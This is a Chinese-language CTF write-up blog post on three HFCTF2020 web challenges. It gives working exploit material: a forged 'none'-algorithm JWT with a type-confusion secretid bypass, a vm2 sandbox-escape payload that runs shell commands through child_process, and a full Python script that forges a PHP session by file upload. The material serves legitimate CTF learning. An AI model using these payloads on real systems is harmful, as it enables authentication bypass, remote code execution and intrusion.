HFCTF2020 writeup

太久没打, 不太习惯半天的比赛了23333

easylogin

js题目, 猜文件猜了好久23333

可以看到存在文件遍历, 那么根据程序逻辑找一下文件

首先看/app.js, 存在下面两行

const rest = require('./rest');
const controller = require('./controller');

再看/controller.js

function addControllers(router, dir) {
fs.readdirSync(__dirname + '/' + dir).filter(f => {
return f.endsWith('.js');
}).forEach(f => {
const mapping = require(__dirname + '/' + dir + '/' + f);
addMapping(router, mapping);
});
}

module.exports = (dir) => {
const controllers_dir = dir || 'controllers';
const router = require('koa-router')();
addControllers(router, controllers_dir);
return router.routes();
};

可以看出主要的程序应该在/controllers/下, 然后通过/static/js/app.js的访问地址

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

猜测是在/controllers/api.js, 成功找到程序代码

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

程序是用了jwt来进行用户验证, 逻辑流程如下

  1. 注册时随机生成一个18位的密钥字符串, 用于加密jwt, 加密后返回token
  2. 登录时附带token, 首先获取sid找到对应的密钥, 进行jwt token验证, 正确则将session.username赋值为登录的用户名

审计后发现, 主要的问题在于

const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}

可以看到sid的检验并不完全, 可以用两种方法进行绕过

sid = []
sid = 0.1

这样都会使得

!(sid < global.secrets.length && sid >= 0))

判断为false, 同时

const secret = global.secrets[sid];
secret === undefied;

简单验证如下

而如果secretundefined, 程序中对于jwt的解密为

const user = jwt.verify(token, undefined, {algorithm: 'HS256'});

原题目为 [AngstromCTF 2019]Cookie Cutter

我们可以看到jwt一般会有个加密算法

并有个key用于加密, 但是在jsonwebtoken中, 我们看源码

// https://github.com/auth0/node-jsonwebtoken/blob/master/verify.js L109
if (!hasSignature && !options.algorithms) {
options.algorithms = ['none'];
}

可以看到用的是algorithms, 但是题目中是algorithm, 所以实际上算法的设置是没有效果的, 那么只要加密算法为none, 则签名为空, 也就是最后一段的值为空, 即可让解密的时候使用none算法

简单的验证如下

首先生成一段token

import jwt

data = {
"username": "admin",
"password": "cjm00n",
"secretid": []
}
token = jwt.encode(data, algorithm="none", key="")
print(token)

然后将生成的值填入下面的代码

const jwt = require("jsonwebtoken");
const username = "admin";
const password = "cjm00n";
global.secrets = [1];
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJjam0wMG4iLCJzZWNyZXRpZCI6W119.";
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
console.log(username)
}

而改为algorithms时, 则会报错

最后在登录的时候发个包

再去获取flag即可

justescape

题目改自 [Hackim2020 ] BabyJS

参考 https://blog.zeddyu.info/2019/02/14/Hackim-2019/#BabyJS

界面和代码十分相似, 区别的只是使用的版本更新一点

首先看一下run.php

表面上看似乎是php, 实际上看一下报错

百度搜一下就可以知道是JS的报错, 现在这种恶趣味题目越来越多了2333, 一般我们可以结合Wappanalyzer和报错来进行分析, 基本上不会伪造报错(除了404)

根据上面的文章看一下当前的栈

> code=new Error().stack;
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

可以看到是用的VM2.js

搜一下对应的github, 可以看到有新版本的issue

由于github默认只显示当前开放的issue, 需要点击close的才能看到

https://github.com/patriksimek/vm2/issues/225

try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

然后转换成一行

try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}

利用和前面一样的弱类型绕过即可

code[]=try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}

babyupload

php题目, 直接给源码

<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

首先可以看到有session, 并且配置了session的保存路径

session_save_path("/var/babyctf/");
session_start();

我们知道php处理session是将其反序列化然后保存到文件中, 文件名为sess_[PHPSESSID], 然后通过cookie中的PHPSESSID进行匹配, 反序列化引擎有如下三种

handler 格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

我们继续看代码, 获取flag的条件是_SESSION[username]=admin, 并且存在文件success.txt, 就会输出flag

if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}

看一下手册, 发现文件夹也可以

后面则是文件上传和下载的部分, 我们先看下载

elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}

存在目录穿越检测, 只能在当前目录下读取文件, 试试读一下当前的session文件

可以看到是php_binary反序列化

然后我们看一下上传的部分, 如果可以任意上传, 就能控制session了

if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}

逻辑很简单, 依然是检测目录穿越, 然后在文件名后拼接文件内容的sha256值, 再进行文件上传, 也就是最后的文件名为

filename_[sha256(filename)]

我们可以控制sessionid为sha256的值, 从而加载我们上传的文件, 首先生成一个sess

<?php
ini_set("session.serialize_handler", "php_binary");
session_save_path("./");
session_start();
$_SESSION['username'] = "admin";

然后将文件名改为sess

注意文件内容最前面有一个0x08

然后进行文件上传

import requests
import hashlib

target = "http://d1c28bae-a9cf-418a-acfc-b4909f0fafa2.node3.buuoj.cn/"
sess = requests.Session()
def admin():
files = {
"up_file": ("sess", open("./sess"))
}
data = {
"direction": "upload",
}
sess.post(target, files=files, data=data)
sid = hashlib.sha256(open("./sess").read().encode()).hexdigest()
print(sid)
sess.cookies.update({"PHPSESSID": sid})

这样我们就可以变成admin了, 但是还需要有一个success.txt

还记得前面提到的文件夹也可以吗, 我们看一下dirpath的相关代码

$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
@mkdir($dir_path, 0700, TRUE);

如果我们将attr设置为success.txt

那么当前的dirpath

/var/babyctf/success.txt

在通过下面的mkdir即可成功创建目录, 脚本如下

def upload():
files = {
"up_file": ("sess", open("./sess"))
}
data = {
"direction": "upload",
"attr": "success.txt"
}
sess.post(target, files=files, data=data)
return sess.get(target).text

完整脚本如下

import requests
import hashlib

target = "http://d1c28bae-a9cf-418a-acfc-b4909f0fafa2.node3.buuoj.cn/"
sess = requests.Session()
def admin():
files = {
"up_file": ("sess", open("./sess"))
}
data = {
"direction": "upload",
}
sess.post(target, files=files, data=data)
sid = hashlib.sha256(open("./sess").read().encode()).hexdigest()
print(sid)
sess.cookies.update({"PHPSESSID": sid})

def upload():
files = {
"up_file": ("sess", open("./sess"))
}
data = {
"direction": "upload",
"attr": "success.txt"
}
sess.post(target, files=files, data=data)
return sess.get(target).text

if __name__ == "__main__":
admin()
text = upload()
import re
print(re.findall("flag\{.+\}", text))

参考链接

  1. https://www.zhaoj.in/read-6512.html
  2. https://www.plasf.cn/2020/04/20/HFCTF_WP/


作者: cjm00n
地址: https://cjm00n.top/CTF/hfctf-2020-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

2020年安恒4月月赛 writeup 系统命令学习

评论